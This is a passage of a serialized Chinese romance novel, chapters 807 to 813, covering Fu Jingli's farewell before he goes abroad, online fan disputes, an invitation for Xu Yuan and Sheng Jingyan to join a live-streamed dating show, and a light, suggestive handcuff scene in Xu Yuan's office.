宋野烦闷的揉了把自己的头,又自顾自的倒了杯酒,他原来喜欢品酒,但现在像是在灌酒,明显是心情不好在发泄的感觉。 “只是出国开拓海外市场,又不是以后都不回来了,就算真的不回来了你也能去国外找我们,没必要太在意这件事。”容浔劝了句。 话是这么说,但所有人都清楚,自己以往熟悉的人突然离开故居去另一个城市或者说另一个国家,就算以后再见面也不会像现在这样想见了直接开车几十分钟就能堵到家门口那样方便。 有一种家人离开远行的错觉。 宋野又闷头喝了杯酒。 “总之以后不论发生什么事我和惊蛰都还在,随时联系我们。” 宋野清楚这是践行酒,傅京礼的机票是明天的,他说了这话又觉得自己颇有点矫情,舔了舔有点干涩的唇瓣继续,闷头灌酒。 他酒量好,可心情不好喝的酒有些多了,红的白的啤的也不挑,有什么喝什么。 喝到最后真的有些醉了忍不住开口嘟囔:“傅京礼,我早说了你离开许愿迟早会后悔的……你早听我的也不用离开帝城了。” “我心里难受啊……自己兄弟为了点情情爱爱的逃到国外去真的憋屈……” 宋野不知道傅长海害死傅京礼父母的事,这件事确实被瞒下来,所以宋野只以为傅京礼离开真的只因为许愿。 可哪里只因为许愿呢?还有一部分原因是不想继续留在傅家,留在傅家就会想到父母的死,看到傅嘉誉也会想到父母的死,看到傅老爷子会想到他包庇了傅长海,这样的傅家他根本没办法继续留下来,哪怕是睡觉都会做噩梦,一次又一次的梦到父母车祸离世的场景。 所以离开已成必然。 傅京礼闷头喝了杯酒眼神有些放空。 他像是也有些醉了,此刻翻出自己的手机,习惯性点开微博去看许愿的账号。 她又发了新的动态,是前两天发的。 第808章 许愿的心真狠 【许愿】:盛先生说给我在网上买了一个超大的毛绒娃娃,已收到娃娃,他是不是尺寸买错了!娃娃比盛先生还要高! 配图是一张毛绒玩偶的图片。像是游戏乐园比人还高的那种大玩偶,还是绝版类型的玩偶。 玩偶旁边是盛景炎的身影,她总是喜欢拍下盛景炎然后发到网络上。 盛景炎已经完全恢复健康了,在照片里抓着玩偶熊的手跟许愿挥手,那双桃花眼中弥漫的都是笑意,完全是幸福的具象化。 他真的很爱许愿。 只是透过一个眼神就能让人感受到那种踊跃着爱意的甜蜜氛围。 照片上能看到不小心拍到的桌面,桌上的餐碟是情侣的,杯子看着也是完全配套的,好像这两人的东西总是成双成对的。 评论区两人的CP粉也被炸出来,一群人嚷嚷着要看许愿,盛景炎在评论区回复了句“我的”,惹得人羡慕连连。 傅京礼看着有些恍惚,好像又会想到从前。 没离婚的时候许愿也曾经买过情侣的东西,最后被他换掉了,那时候他对许愿没有爱,所以许愿才想要透过这种外物来坚定他们之间的婚姻生活吧。 他抬起手捂住自己的眼睛,略有些苦涩的笑意从喉间溢出。 到底还是……不甘心啊。 哪怕对许愿说了放手,说希望她能幸福,可这一切不是来源于他,他又怎么会甘心呢。 所以不离开帝城,继续留在这里他只会一次又一次的受伤,只能看着许愿和傅京礼幸福恩爱这对他无异于折磨。他当然没办法接受。 点开微博就能看到那些阴谋论,甚至许愿这条微博下面也有人问许愿是不是跟傅守越联手故意算计了傅京礼,否则傅京礼怎么可能决定离开帝城,这怎么看都说不过去。 傅守越和傅嘉誉那里没有人敢去骚扰了,但大概是许愿最近心情好脾气好所以有人胆子大了来许愿微博下质疑她甚至评判她,说她这样未免太狠。 支持这一观点的人不少,毕竟还有不少人曾经是许愿和傅京礼两人的CP粉,现在傅京礼被逼到这一步他们看了也会难过,是真的想质问许愿为什么逼他到这一步。 有嗑傅京礼和许愿的,有嗑盛景炎和许愿的,这两拨人可以说是在许愿微博下几乎快打起来。 “许愿真的心太狠了,不管怎样傅京礼是她的前夫,是她曾经同床共枕的爱人,她们就算离婚了许愿也不至于真的狠到跟傅守越联手把傅京礼逼到国外的程度!一日夫妻百日恩,他们好歹在一起三年,难道没有恩只有仇吗!” 这是已经认定傅京礼离开帝城的事跟许愿有关了。 坦白说其实没有全部猜错,确实是有点关系的,但就是猜的方向南辕北辙完全错误。 这条评论点赞的人还挺多的,像是真的认为许愿太狠了似的。 盛景炎和许愿的CP粉也冲进来反驳指责这群人。 “许愿心狠?许愿哪里心狠了?傅京礼是她前夫,是曾经同床共枕的爱人怎么了?以前的事那已经是以前了,他们已经离婚了,商场上的事情谁能说得准,有的人上一秒是朋友下一秒还是敌人呢,这有什么可骂的,这样实在可笑。” “说许愿心狠的大可不必,当初婚内出轨跟许愿那绿茶婊妹妹许宁在一起的是傅京礼吧?离婚后一直让许宁伤害许愿的事傅京礼吧,许愿离婚后吃了那么多苦哪一样跟傅京礼脱得了关系,别说许愿心狠,怎么不说当初傅京礼心狠?不管这事儿是不是许愿做的那都是傅京礼活该好吗,我要是许愿有这能力早弄死傅氏了,恨都恨死了!” “傅京礼以前对许愿做的那些傅氏的人谁不知道,也不清楚那群嗑傅京礼和许愿以后能破镜重圆的人是不是脑子有坑。自己也不代入进去想想,你老公出轨,小三欺负你他还纵容,你被逼到流产被欺凌,好不容易遇到了肯把资产都给你来表达真心的爱人,到这一步了你会转头去找渣男吗!还等着两人相爱的脑子里面除了坑就是坑!” 这两拨人明显是都觉得傅京礼离开帝城的事跟许愿有关,许愿莫名其妙的就背了这黑锅。 傅京礼看到了这些争吵,他心里发堵。 离开帝城的事是他自己的做的决定,他见不得这种时候还有人污蔑许愿,他根本想都没有想直接登录了自己的账号发了微博表明自己跟许愿之间已经谈妥,以后还算是朋友,出国的事是他自己考虑好的,与许愿无关,不希望有人继续误会许愿。 傅京礼发表言论后马上被顶到了热搜头条。 在所有人都猜测是不是许愿使绊子逼走傅京礼的时候傅京礼却在这个时候站出来,还是一如既往的站在许愿身后。 “有没有人发现傅京礼每一次都是在许愿被黑的时候站出来,这次都要离开帝城了还要为许愿说话,以往骂他的时候都没见他出面。” “妈的我真觉得傅京礼离开帝城跟许愿有关,就是……就是那种爱而不得不想再留在气人同一片土地,看到曾经的爱人会难过这种感情你们懂吗,就是我真觉得傅京礼是想逃出去的!就是想逃开许愿想开始新生活。只要有许愿在他会一直控制不住的去关注许愿,这种感觉能懂吗?” 这次才是终于说到了点上。 傅京礼笑意都带着点苦涩,他很想点个赞,却又知道自己一旦再做这种回应只会给许愿带来更多麻烦,所以他只能完全压抑自己此刻的想法,按捺住自己的内心。 毕竟他是个快要离开的人。 他闷头将手边的一杯红酒一饮而尽,朦朦胧胧之际觉得自己好像也醉了。 容浔看着他这副模样,缓了片刻才终于叹了口气。目光落到江惊蛰身上。 “我和阿礼明天的飞机,时间不早了,我先带他回去。” 江惊蛰没拦着,只是也在灌酒,看着心情似乎也不怎么好,倒是宋野已经醉成一摊了。 第809章 恋爱综艺 傅京礼和容浔离开帝城还是被记着特意跟拍且上了头条。 傅氏也终于算是彻底的变了天,傅守越也彻底接手傅氏,因为傅京礼的离去,盛世也跟傅氏有了新的合作,董事们便也没有什么反驳的声音,看着像是都认命了。 傅京礼离开,嗑傅京礼和许愿的CP粉也炸开锅,全都在网络上嘀咕怀疑盛景炎和许愿的感情,说什么的都有。 “傅京礼那么优秀许愿都能跟傅京礼分开,盛景炎也是迟早被踹开的命!” “盛景炎真的喜欢许愿吗?我不信,以前许愿有多浪子圈子里的人都知道,娱乐圈模特圈那是一水儿的好妹妹呢!国内国外都有,说盛景炎为了谁收心,这话我是真不信。” “这年头竟然真的有人相信浪子回头金不换?我只能回一句狗改不了吃屎,许愿再优秀再漂亮盛景炎也迟早会腻的。毕竟许愿结过婚……再怎么样那也跟傅京礼睡了三年。” “一个玩咖,一个离了婚的女人,这俩凑一起不分谁信啊!” “许愿的掌控欲太强了,有人不是说有些男的大男子主义吗?许愿就更像……大女子主义?感觉会处处管着盛景炎,盛景炎怎么可能受得了,迟早分开。” 虽然盛景炎把股份家产都给了许愿,可那群人就是不信盛景炎真的喜欢许愿,说什么难听话的都有,好像就是想把两人折腾到分手,像是一点节操都没有了,嘲讽的言论满天飞。 质疑的怀疑的。 打开浏览器,不,只要手机联网铺天盖地都是唱衰两人感情的。 这种情况下他们能怎么办?发微博这群人也不信,起诉吗?他们也没说什么,只是怀疑两人感情。 就连在研究所研究新数据的段星河也知道了,溜达到许愿房内问她:“真就任由那群人乱说了?你也不回应一下?你再不作回应估计你俩在那群人眼里都已经离了三回了。” 都没结婚怎么离。 许愿瞪他一眼正要说话,就接到了江恒的电话。 江恒跟温栩栩关系很好,之前曾一起参加过综艺也一起拍过戏,许愿跟他也是有点交情的。 毕竟江恒的哥哥是江行舟和江行野,对,还有个势力很大的江夜回,江恒就是江家老小可以随便玩闹的宝贝疙瘩。 不过她倒是猜不到江恒为什么给自己打电话。 接了电话就听到江恒在那头嚷嚷。 “你看微信,我给你发了份文件,是我们公司最新要制作的恋爱综艺。” 许愿顿了下,点开电脑上的微信,果然看到江恒发给自己一份文件,文件标题是《爱人的浪漫旅行》,是恋爱综艺邀请函。 许愿挑了下眉。 “什么意思?” 给她传来一份恋爱综艺文件?她可不是艺人。 江恒听出来她似乎是想要拒绝,赶紧开口解释:“这档节目最初是想邀请温栩栩的,我跟温栩栩那会儿也算是国民CP恋人,但现在温栩栩不是暂时退圈吗,而且我看到网络上有关你和盛景炎的关系闹得沸沸扬扬的,他们这么能吵吵那么能怀疑,那干脆就参加恋爱综艺让他们自己看看了。” “这档综艺是直播形式的,你研发的那小型无人机也派上用场了,拟邀的四对嘉宾里面有三对是娱乐圈的,具体是谁我还不太清楚,本来第四对是我和温栩栩,但现在你和盛景炎更合适,你要去吗?” 许愿听得眉心直跳。 她觉得自己实在不需要做这种抛头露脸的事,而且她和盛景炎的关系也不是那些说了就会分开的,她本想着时间久了那群人就不会再提了。 不过真的要这样做总觉得会有点委屈了盛景炎,毕竟现在一直被骂可能会背叛感情的事盛景炎。 比起网络上直接发公文和博文澄清,好像确实是来一档直播恋爱综艺会更快,毕竟……谁也不可能在直播综艺里面一直演出深情的模样。 爱与不爱,在意不在意,很简单就能被看出来。 “我问一问阿炎,晚点给你回复。” 许愿没有直接答应但也没有一口否决,那就是有可能参加的意思。 江恒乐颠颠的挂了电话,他是觉得许愿没直接拒绝其实就跟答应了没两样了。 许愿接电话的时候段星河就在一旁,也听到江恒说的了,甚至看到许愿微信上收到的恋爱综艺的文件。 段星河啧了一声:“你真要区参加这档恋爱综艺?公司不管了?这节目最少也要录制一周吧,时间长了可能要半个月甚至一个月。” “盛华有斯年哥哥,盛世的副总陈飞豪也足够守住盛世了,如果有问题他也会联系薛酒,至于黎氏我安排了左司暂且盯着,他们的实力你也是知道的。” 那段星河确实知道,就算是盛世的副总陈飞豪也是被许愿提点上来的,虽然比不上薛酒左司这群人,但守住盛世是没什么大问题的。 “你这是做好准备参加恋爱综艺了?”段星河轻笑:“那你还说什么问盛景炎,你答应的事盛景炎哪次会拒绝?” 许愿只是轻微的扬了扬唇:“阿炎同意的话我才会跟他一起参加这档综艺,他不同意我也不会逼着他去。” “得了吧!”段星河喝了口水就吐槽:“就盛景炎?他会拒绝者白送上门的好事?他在微博晒你晒得还少吗?整天写你们两个人恋爱的小段子,你们两个也不是明星,就这都有几十万的CP粉,你说多可怕!有些娱乐圈现在大热的CP粉都比不上你俩的CP粉。” “你知道的这么清楚?”许愿长指点着桌面在快速查阅文件内容,段星河呵了一声:“我视奸你们两个的CP超话。” 许愿:“……” 那多少是有点病。 许愿深深的看了段星河一眼才给盛景炎去了电话。 她是懒得去办公室了,打算直接让盛景炎过来找自己,反正现在盛景炎的腿已经好了,那就是要迁就她才对。 盛景炎挂了电话就放下了手中的工作去见许愿,很明显在听到要参加恋爱综艺的时候也是扬眉笑了。 “阿愿想参加?” 第810章 少在心里偷偷猫塑我 许愿还在看那份恋爱综艺邀请函,听他问这句话挑眉看他:“难道你不想参加?” 她可太了解盛景炎,当然知道盛景炎不会拒绝。 盛景炎走近,俯身握住她摆弄鼠标的手翻看了下邀请函。 《爱人的浪漫旅行》是猫咪台策划的一档明星恋爱直播节目,拟邀的除了他们这对,剩下三对都是娱乐圈内的恋人,有两对已经结婚的,还有拍了部热剧成为爆火CP被抬上来的,一共是三对。 第一对是有天作之合相称的明星夫妻,其女演员林悠羽演技不算好但颜值很高,在温栩栩没有出道前这位都能将红毯走成自己的专属时装秀,综艺感不错,参加过不少综艺,但演技差是硬伤,黑粉很多,不过因为那张脸还是有很多死忠粉。 主要的原因是这位曾经并不火,只算是十八线女星,后跟她的丈夫宋明远结婚后才爆火,她的丈夫宋明远算是娱乐圈比较有名的掌控资本的男演员,两人没有一起参加过综艺,但两人的世纪婚礼一直被人称颂,都说林悠羽是嫁给了爱情。所以这次节目组特地邀请了两人一起参加节目。 第二对是当初因戏生情的一对夫妻,两人一起出演了一部爆火的武侠电视剧后很快结婚。 女演员周媛媛并非内陆人,是湾湾的女演员,与男演员周鹤瑾相差六岁,两人之间是姐弟恋,男演员周鹤瑾算是在最红的时候结婚,因为女演员周媛媛风评并不是很好粉丝大量脱粉,但周鹤瑾并不在乎这些,并最快的速度从偶像派转型实力派,后续再没拍过偶像剧,很多人都说周鹤瑾过气了,但根本不知道周鹤瑾只是低调,他的相貌和演技都是圈内公认的,且低调认真,是圈内导演都最喜欢用的男艺人。因为两人结婚后很少同时出现在镜头前,节目组特地邀请两人参加综艺。 周鹤瑾比较低调,平日里除了宣传剧和电影的时候会被绑定参与综艺宣传,其它时候不是进组就是在休息或者精进演技,本想拒绝,但这次的综艺导演曾经在周鹤瑾最艰难的之后介绍过一部剧,周鹤瑾见导演求上门才松口答应。 第三对就是最近才播出的大爆剧,其实说大爆剧有点过了,因为今年真正的爆剧是温栩栩那部民国剧《云雾》,而爆的CP叶氏温栩栩和男主陈升这对不是官配的CP,这部剧在温栩栩被逼死下线后无数人都选择弃剧,在知道结局温栩栩的林青黛还会出现后才会继续追剧,结局林青黛真的在男主回忆中出现,那一集收视率暴涨。 至于这对国民CP是不是买来的谁也说不准,说是爆剧,也算小爆,男主角沈从和杜佳阮都算是流量明星,两人是一起拍了一部校园剧,在网络上也有些流量,加之温栩栩暂时退圈,也邀不到温栩栩了,干脆邀了这对儿新的“国民CP”。 盛景炎看着便微微挑了下眉,他不太了解娱乐圈,不过对里面的明星还是略有耳闻,特别是那位周鹤瑾,他是看过他拍的武侠剧和不少剧的,那位晋升资本的宋明远盛景炎也是听说过的,不过这人最近拍的戏是越来越油腻了,盛景炎看的也只是他以前的老片子。 至于其它的艺人并不算熟。 “参加吗?”盛景炎问许愿。 许愿转着办公椅笑着看他:“看你喽,反正接下来的工作我都已经分配好了,可以腾出来一段时间陪你……嗯……公费旅游?” 盛景炎轻笑:“好,那就参加。” 一直在一旁的段星河呵了一声:“你们两个最好小心点,参加节目,一个眼神都可能会被过度解读,你们是为了澄清彼此之间的感情和关系才参加的综艺,别到最后让人误会的更彻底。” 许愿拽着盛景炎的手抱着没撒手,甚至有点得意的看着段星河:“你都这吃到狗粮的反应了我还有什么可怕的?这综艺是先直播后剪辑,有直播在呢,谁敢乱说乱剪,而且……也没人敢乱剪我的视频吧。” 段星河还真没办法反驳。 毕竟许愿身份特殊,刑从景和顾凛都看着呢,谁敢乱剪许愿相关不实的视频绝对是没有好下场的。 段星河看她这副得意的模样哧了一声:“行,你们去参加综艺,我继续在研究所安安分分老老实实的研究数据。” 段星河待不下去了,只要盛景炎和许愿两人聚在一起段星河绝对待不下去。 段星河还给两人关上了们,非常自觉。 许愿给段星河点了个赞,这才将目光转到盛景炎脸上。 他脸上是带着笑意的,注意到她看过来的目光,盛景炎唇角的弧度加深,眼眸里倒映着许愿的身影,伸出手捏了捏许愿的脸颊:“真决定好了打算参加这档综艺了?” 许愿被他捏了捏脸,这动作不重,像是挑逗爱抚似的,她觉得盛景炎着动作有点想逗猫,她抬头,目光冷不丁的落到盛景炎的脸上然后蹭了蹭他的掌心,她倒是不在意盛景炎这样摸,毕竟两人之间什么都做过了。 她蹭着蹭着突然抓住盛景炎的手放在嘴边咬了一口,很轻的力道,更像是回撩。 抬眸,眼尾上挑带着几分勾人的意味儿。 “先不管综艺,你这样,是不是把我当猫了?”许愿话落,盛景炎已经绕在许愿身后,俯身,温热的吐息喷洒在许愿的后颈,语气中掺杂着几分明显的诱哄。 “难道不是吗?”盛景炎这样问了句,然后轻笑一声,将她整个人从椅子上抱起来,直接进了休息室。 休息室的床和床垫都是许愿特地挑选的,绝对舒适。 才被放到床上,下一秒就被人再度揽抱进怀里。 听到男人在她耳边喊着笑意也带着点明显蛊惑的声音:“难道不是猫吗?傲娇又可爱,聪明又漂亮,还会时不时伸爪挠人一爪子。” “少在心里偷偷猫塑我。”许愿转身一看他这副偷笑的模样就知道在心里YY自己呢。 第811章 你是我的人,我想摸就摸 “猫塑自己老婆那不是情趣吗?”盛景炎还想逗她,许愿哼了一声:“你肯定不是无缘无故突然猫塑我,手机拿来,你肯定乱买些奇奇怪怪的东西了。” 他们两个什么都做过了,提到这些许愿也没觉得多羞,甚至觉得自己抓到了盛景炎的小辫子,有点兴奋,想看他的购物车到底都买了些什么了不得的东西。 盛景炎嘴角的笑意跟着僵了下。 许愿一看心知肚明,这人就是在心里偷偷猫塑自己了。 是个不折不扣的坏家伙。 许愿长指戳了戳他的腰:“拿来,我要查你的手机了。” 盛景炎轻咳一声,无奈道:“我跟谁聊天你都知道的,我的手机很干净的。” “谁知道干不干净,说不定你手机里面都需要扫黄打非呢。” 这话说的意有所指。暗戳戳说他乱买东西了。 盛景炎眼神有点飘忽,许愿看他这样子就是心虚,抬手拽住他衣领,盛景炎顺着她的力气低头,即便是这样他脸上还是带着温和的笑。 许愿却屈指敲他头:“快点,手机拿来,我要查岗。” 说完这话继续拉扯着他的衣领不肯放手,男人垂眸望向她,其实这样的距离能看到许愿胸前的柔软,甚至是非常明显,还能看到她胸口都是他留下的痕迹。 盛景炎眸色微暗,目光却牢牢缩在她身上完全没有移开,还是随着她笑闹。 “我手机里面有谁你都清楚的,微信也好,通讯录也好,你不是都知道?” “谁知道啊,这些我清楚,那些购物软件的商家说不定也是娇滴滴的小女生呢,没看到他们都会叫你“亲亲”“家人”吗,都叫的这么亲密了,肯定有鬼,快,手机拿来。” 盛景炎:“……” 许愿真的是为了查他手机什么都要胡诌出来了,也是难为她了。 盛景炎有些无奈的捏了捏眉心:“真要查?” “你不给我查是不是心虚。”许愿知道盛景炎不会背叛自己,但她现在就想逗他,就想看他这副无奈又没办法的模样,真的有点好玩哎。 许愿继续揪着他衣领摇晃,更让盛景炎幻视捣乱撒娇的小猫。 “快给我手机,我要查岗,快点快点!” 盛景炎失笑,原本收敛的笑意再次浮现,伸出手揉了揉许愿的发顶:“还说不是小猫,你这样跟小猫有什么区别。” 许愿不听,许愿无视,现在就只要手机。 盛景炎无奈抬手:“你搜吧,就在身上。” 许愿有点得意的把人压制到床上,去摸他的衣服口袋,没摸到又转到裤子口袋,只是摸的方向有些偏了,惹得男人喘息都重了几分。 “阿愿,你不是要找手机,这种时候别乱摸。”他忍不住提醒了一句。 许愿又看他:“你是我的人,我想摸就摸,你话真的好多哦。” 盛景炎:“……” 真的很折磨人啊。 见盛景炎又要开口,许愿不知道从哪里翻出了手铐,趁盛景炎不备,“咔”的将人两手都拷到床头。 盛景炎:“……” 许愿凑近,与他视线齐平,温热的气息扑在盛景炎脸上,她此刻似乎更得意了,手指挑起盛景炎的下巴跟他对视。 “你好吵,所以只能被锁起来任由我为所欲为了,最好乖一点哦。” 说着伸出手摸了摸盛景炎的耳朵,还捏了捏。 盛景炎只觉得自己身体都烫起来了,眸光愈发晦暗的盯着在自己身上作妖的爱人。 “你确定要这样吗阿愿?”盛景炎呼吸都有点乱了。 他有了什么反应紧贴着他的许愿怎么可能感觉不到,她觉得有点咯人,特地伸手朝那处拍了一巴掌:“你都被我拷起来了,老实点,你咯到我了。” 盛景炎:“……” 盛景炎呼吸愈发急促,盯着她的一双桃花眼都染上了点明显的情欲,但许愿没理,继续翻找手机。 本来是在找手机,但是渐渐的就有点不对味儿了,左戳戳右戳戳,盛景炎的领带都被她解下来,衬衫扣子都被解开,就这个方向看着床上的男人,只觉得确实是……嗯,秀色可餐。 许愿忍不住想自己那时候也是这样的吗,怪不得盛景炎总是控制不住,确实有点勾人啊。 顺着这个角度,能明显看到男人健硕的胸肌和下面肌理分明的小腹,明明腿都被伤过,有一段时间没锻炼,但这人才恢复没多久就练回来了,虽然比不上以前的身材却也大差不离。 许愿凑近贴在他胸口,能听到男人的心脏在剧烈的跳动着。 “噗通”“噗通”。 随着她的靠近,心跳声愈发大了。 她觉得好玩,难得看盛景炎这样,被完全制住。 之前盛景炎伤了腿的时候她都没这么胡闹过,那时候盛景炎伤了腿心里敏感多疑的,她哪敢乱搞胡闹的,但现在不一样了,她怎么胡闹都可以。 反正盛景炎会纵容她。 她眉头高高扬起,更像是盛景炎口中说的骄傲的小猫。 指尖在他胸口轻轻划过,触及肌肤的力道很轻,引得他颤栗,已经想要反抗,但手铐被晃的哗啦响也没有被弄开。 他眸光晦暗,那双漆黑幽暗的桃花眼像是着了墨色,此刻看着许愿像是眼底藏了漩涡想要将她吸进去。 “阿愿,你哪里买的手铐,这么结实?” 完全影响他发挥。 许愿抬头捧着他的脸笑眯眯的亲了一口为他答疑解惑:“刑从景那边拿的,专业的哦,你解不开的。” 这种手铐都能被盛景炎轻易解开,刑从景和顾凛都能直接退休了。 盛景炎:“……” 盛景炎真是被她闹得没有办法了,许愿还凑过来,修长的手指摩挲着他的下巴:“你以前总是喜欢这样摸我,其实这样摸男人好像确实是有点爽,就是你会有胡子,这里就算刮干净了还是有点点扎手,你没有胡子的话就好了。” 盛景炎:“……” 这次盛景炎是真的觉得有点无奈。 他声音沙哑带着点无奈:“阿愿,我是男人。” 男人怎么可能没胡子呢,就算真的有那也是少数。 第812章 在许愿都是直接玩男人 许愿敷衍的嗯嗯了两声,又贴在他胸口蹭了蹭:“还好你是个非常优秀的伴侣,看着就很干净。” “怎么说?”盛景炎挑眉。 许愿直接开口:“那不是很明显吗,总是香香的。” 盛景炎颇有些哭笑不得,她身边哪一个不是香香的?特别是薛酒,那家伙让人看一眼都觉得可能会招来蝴蝶的程度,这算什么夸奖? 他都能看出许愿的敷衍了。 “还要不要找手机了?” 许愿刚才玩着玩着差点忘记了正事,现在经他提醒想起来,又去戳戳戳的找手机,惹得盛景炎眉头直跳,哪有这样戳戳戳找手机的,到底是找手机呢还是故意报复他呢。 她是真没发现他的手机不在身上吗? 如果他没有被拷住双手,现在已经要制住她作乱的手给她上一课了。 “你手机到底放哪里了。”许愿找半天都没有找到。 “有没有可能手机不在我身上?”盛景炎挑眉看她,像是要看她会是什么反应,岂料许愿一听有点纠结:“你就这么说了?我还没玩够呢。” 盛景炎:“……” 找手机是借口,趁机想欺负他才是真的。 盛景炎又有点想叹气了。 “阿愿,你这样胡乱折腾,你是觉得我这一辈子都不会被放开了吗?”盛景炎又摇晃了下手铐,哗啦啦的声音像是在提醒她一般。 许愿又去盯着他看,然后有点得意:“可是我们马上就要去参加恋爱综艺的直播了,你不能胡闹哎。” 还真是算好的。 盛景炎失笑:“真不打算放开我?” “谁让你先叫我是小猫咪的,现在你自己看看谁才是被围困的小猫。” 许愿揪住他的衣领有那么点恶霸的意思:“你现在才是被困住的小猫,你喝口水都要求我哦。” 她觉得自己是恶霸,但落在盛景炎的眼中就跟踩奶的小猫没什么区别,甚至呼吸都跟着粗重了几分,这是许愿没有想到的。 “喵?” 她话音才落,盛景炎已经开口了,他的嗓音跟他的脸其实很贴,是那种低沉的带着几分蛊惑之意的声音,这样开口更像是故意勾人的“喵”了一声。 哪有小猫咪叫声这么低沉霸总的。 犯规了! “你这种小猫咪被人遇到是要被亲哭的!”许愿说着就捧住盛景炎的脸真的凑上去亲亲。 就被许愿这么突兀亲上来的盛景炎眉眼之间都还带着点明显的笑意。 也不知道平日里是谁被亲哭,现在倒是挺能说的,能解开手铐的。 他由着许愿在自己脸上胡乱亲着。 倏地办公室内休息室的门被打开了,段星河太清楚许愿总喜欢窝在休息室玩游戏,还喜欢拽着盛景炎一起,所以也没当回事就把门推开了。 “许愿,我刚才算的这串数据你来帮我看一下,我总觉得有点不太对,机器是不是算错了,我得出的数据应该是比机器给的数据要……”话还没说完,急匆匆闯进来的段星河就呆滞在原地。 他!都!看到了什么! 地上式领带和盛景炎的西装外套,床上是手铐,盛景炎甚至衣服扣子都没扣,许愿呢?就捧着盛景炎的脸在亲吻。 段星河:“……” 是他开门的方式不对吗。 他瞎了! 真的!他瞎了! 段星河深吸一口气直接闭上眼关上休息室的门就出去了,就在许愿的办公室倒了杯凉水喝 ,这么一杯凉水就被灌进肚子里面了,被气的。 休息室内的两人:“……” 两人面面相觑。 盛景炎又摇晃了下手铐,许愿推锅:“谁让你不提醒我锁门的。” 盛景炎再一次摇了摇手铐算是回应。 他都被拷住了能做什么,还不是只能被许愿压上来欺负吗。 许愿捂住自己的脸,脸颊通红:“没脸见人了。” “有什么没脸见人的?不就是拷了手铐亲吻,又没做其他的,没脸见人的是段星河,这种程度都接受不了那也太能演了。”盛景炎开口:“哪个男人电脑里没点资料,这种程度都属于电视剧可以直接审核播出的程度。” 许愿:“……” 许愿幽幽看他一眼:“所以你到底看了多少资料才那么会的。” 盛景炎轻咳一声:“没看多少,主要是跟你在一起后脑内自动上演资料片,不怪我,大概怪我太爱你。” 这真不怪他。 盛景炎跟傅京礼的年岁相当,是真的万花丛中过一片都没沾,纯素了这么多年的,傅京礼跟许愿在一起的时候可没委屈过他自己。 许愿直接把他的西服外套丢到他脸上,现在看到他就有点来气,索性不看了。 盛景炎哪里不知道许愿这有点炸了,无奈的笑笑,声音带着点讨好似的:“阿愿,透不过气了。” “根本不会透不过气,又在撒谎了。”许愿不理他。 盛景炎摇了下手铐:“那能先给我解开手铐吗,这样拷着真的不舒服。” 回应他的是许愿关门的声音。 好的,脸上西服没有被拿下去,手铐也没被摘掉。 许愿整理了一通,缓了好一会儿才出了休息室,段星河喝了杯凉水下肚这会儿已经冷静了,但看到许愿还是没忍住开口:“我知道你们两个订婚了快结婚了,但是能不能稍微收敛点,你就算真的胡闹办公室的门要锁一下吧,好歹让我知道你在胡闹。” 许愿坐在他对面,反向指责段星河:“谁让你不敲门了。” 段星河:“?” 倒打一耙? “谁没敲门,我敲半天门了,我来你这里哪次没敲门,你哪次听见了,以前你是跟盛景炎挤在休息室玩游戏,现在你长进了直接玩男人了。” 许愿懵了下,啊,段星河敲门了吗?什么时候敲门了? 段星河看他这副茫然的模样就呵了一声,下一秒就见许愿趾高气昂的开口:“我们在房间胡闹怎么了,这都是能过审的,就是电视剧都不会删除的剧情,特别健康的绿色剧情。” 说这话是真的半点不脸红。 有句话怎么说的,只要我脸皮够厚够无耻,别人就刺激不到我。 说的就是现在的许愿了。 第813章 天大地大许愿最大 段星河都被许愿此刻这理直气壮的模样弄得有些无语。 “我采访你一下,你是以前就这样了还是跟盛景炎在一起后才这样的?”段星河是真好奇。 许愿沉默。 其实她以前真的不这样,确实是跟盛景炎在一起后才被带成这样的,毕竟刚才她对段星河说的那些话全都是盛景炎跟她说过的。 她是真的被盛景炎带坏了吧! 她就说她以前不这样的,绝对都是盛景炎的锅。 段星河看她沉默的模样忍不住捏了捏眉心:“真是盛景炎带的?” “也不能这么冤枉他。”许愿小小的反驳了下,为盛景炎说了句公道话。 “行。”段星河觉得自己是真有病,俩恋爱脑凑一块儿,他管这俩恋爱脑干什么?纯闲的有毛病吗。 以后他再去许愿办公室绝对敲门,保险起见再给她打个电话。 段星河想了想觉得这也不够保险,又盯着许愿看了半晌开口:“不然我给你专门设计个软件?也就是敲个代码的事,以后你关门办公室的门自动上锁怎么样?” 许愿:“?” 许愿一口气差点没上来。 “我们也不是随时随地都在胡闹啊,平常我们都很正经的。” 段星河不信,甚至用怀疑的目光看许愿,许愿心累。 也就这次跟盛景炎在爱办公室胡闹了一次怎么就被看到了呢,想到这里,还是推到段星河身上:“都怪你不敲门。” 行,纠结到最后又绕回来了。 段星河无语的背锅。 他压根不想多待,让许愿看了自己才新测算的数据得到跟自己同样的结果后开始推翻重新计算,头也不回,生怕再看到什么了不得的东西。 许愿看了看段星河拿来的数据资料,翻看过后才放桌上,回到休息室就见盛景炎头上还盖着西装外套,整个人悠闲懒散的模样让她看着就有点来气。 走过去拿掉他头上的外套,盛景炎闭着眼睛像是在休息,感觉到外套被取走才睁开眼,不等他那双桃花眼落到许愿脸上,自己的脸就被许愿捏住了。 盛景炎无奈:“阿愿,先放开我好不好。” “不放,你让我好丢脸的。”许愿有点小烦躁:“竟然还是在段星河面前丢脸。” 盛景炎声音放轻了几分:“我错了好不好。” 其实这件事跟盛景炎就没什么关系,硬要往盛景炎身上推的话,顶多就是盛景炎用美色诱惑了许愿,至于手铐那确实是许愿拿出来的,把人拷在床上的也是许愿,盛景炎顶多算是个半推半就。 但许愿都生气了,盛景炎自然是要哄着了。 在他这里还真的是天大地大许愿最大。 管他谁的错,先认错最重要。 许愿凑近,两人四目相对,许愿亲了亲他的唇,声音很轻道:“都怪你长得太好看,不然我也不会在办公室跟你胡闹的。” 盛景炎笑:“那我还真是庆幸自己这张脸长在你的审美点上。” 他以前就知道自己这张脸有那么点多情且薄情的感觉,像是个风流浪子,任谁看了都觉得他没有真心那种,他以前还是嫌弃的,但现在许愿喜欢的话他就也觉得这相貌还算是不错的。 许愿坐在他身边,突然就开始思考。 见她这样仿佛在愣神盛景炎就知道她心里想着其它的事呢,缓了会儿才问道:“在想什么。” “刚才段星河说要给我们敲个代码做个小软件,就是那种我们进门办公室的门就会自动锁住那种,我觉得他在阴阳怪气的嘲讽我,我想报复。” 段星河想这么做纯属是担心以后许愿和段星河又在办公室胡闹忘记锁门。 许愿是觉得自己以后绝对会小心的,根本用不到这东西。 倒是盛景炎听了眉梢微挑:“他想做的话就让他做,那东西似乎还挺有用的。” 